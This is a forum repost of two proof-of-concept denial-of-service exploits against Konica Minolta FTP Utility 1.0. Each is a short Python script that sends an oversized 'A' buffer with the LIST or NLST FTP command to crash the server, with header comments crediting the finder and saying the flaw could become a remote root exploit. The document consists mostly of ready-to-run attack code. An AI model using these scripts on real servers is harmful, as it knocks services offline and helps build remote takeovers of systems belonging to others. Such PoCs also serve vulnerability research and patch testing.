Konica Minolta FTP Utility 1.0 Denial Of Service Exploit--
Kod:
# Exploit Title: Konica Minolta FTP Utility v1.0 - 'LIST' Denial of Service (PoC) v2
#
# Found by: Alvaro J. Gene (Socket_0x03)
# Email: Socket_0x03 (at) teraexe (dot) com
# Website: www (dot) teraexe (dot) com
#
# Vulnerable Application: Konica Minolta FTP Utility
# Version: 1.0
# Server: FTP Server
# Vulnerable Command: LIST
# Tested on: Windows 7 SP1
#
# Impact: There is a buffer overflow vulnerability in the LIST command of the FTP server
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers,
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite
# some registers, an individual can use the vulnerable command to build a remote buffer
# overflow exploit that will root a system without any user interaction.
ftp = FTP('192.168.0.16')
buffer = "A" * 1500
ftp.login()
ftp.retrlines('LIST ' + buffer)
# Exploit Title: Konica Minolta FTP Utility v1.0 - 'NLST' Denial of Service (PoC) v2
# Date: [05-16-2020]
#
# Found by: Alvaro J. Gene (Socket_0x03)
# Email: Socket_0x03 (at) teraexe (dot) com
# Website: www (dot) teraexe (dot) com
#
# Vulnerable Application: Konica Minolta FTP Utility
# Version: 1.0
# Server: FTP Server
# Vulnerable Command: NLST
# Tested on: Windows 7 SP1
#
# Impact: There is a buffer overflow vulnerability in the NLST command of the FTP server
# "Konica Minolta FTP Utility" that will allow an attacker to overwrite some registers,
# such as EAX, ESI, EDI... Even though the next codes will crash the FTP server and overwrite
# some registers, an individual can use the vulnerable command to build a remote buffer
# overflow exploit that will root a system without any user interaction.
from ftplib import FTP
ftp = FTP('192.168.0.16')
buffer = "A" * 1500
ftp.login()
ftp.retrlines('NLST ' + buffer)
# 0day.today [2020-05-22] #